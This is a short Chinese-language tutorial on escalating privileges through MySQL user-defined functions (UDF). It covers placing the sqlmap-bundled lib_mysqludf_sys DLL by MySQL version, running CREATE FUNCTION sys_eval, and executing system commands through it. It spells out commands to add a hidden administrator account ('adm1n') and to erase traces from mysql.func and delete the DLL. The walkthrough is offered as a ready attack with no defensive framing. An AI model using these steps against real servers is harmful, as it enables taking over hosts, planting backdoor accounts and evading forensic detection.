udf(user defined function)即“用户自定义函数“。MySQL允许用户通过添加新函数,对MySQL的功能进行扩充。
提权的必要条件:
- 具有MySQL的root权限
- 具有执行SQL语句的权限
- MySQL以system权限运行
提权分为四步:
- 上传dll文件到指定位置
- 创建udf函数
- 调用udf函数
- 清理痕迹
0x00 上传dll文件到指定位置
SQLMAP中的–os-shell的底层原理就是udf提权。在它的安装路径里可以找到MySQL提权需要的dll文件。
用SQLMAP自带的脚本把它变成dll文件拉出来^^
接下来要把dll文件放到指定位置。当MySQL小于5.0时,dll文件可放在任意位置。当5.1≥MySQL≥5.0时,dll文件需放在path环境变量指定的位置。当MySQL>5.1时,dll文件上传在MySQL安装路径的/lib/plugin下。
0x01 创建udf函数
将dll中的函数引入到MySQL数据库中:
create function sys_eval returns string soname 'lib_mysqludf_sys.dll'
创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll。
0x02 调用udf函数
直接sys_eval("系统命令");
就可以:
select sys_eval("whoami");
再例如,创建账号并提升为管理员权限:
select sys_eval("net user adm1n adm1n123 /add"); select sys_eval("net localgroup administrators adm1n /add")
0x03 清理痕迹
最后,需要将之前引入的函数删除掉,也别忘记删掉dll文件。
delete from mysql.func where name='sys_eval';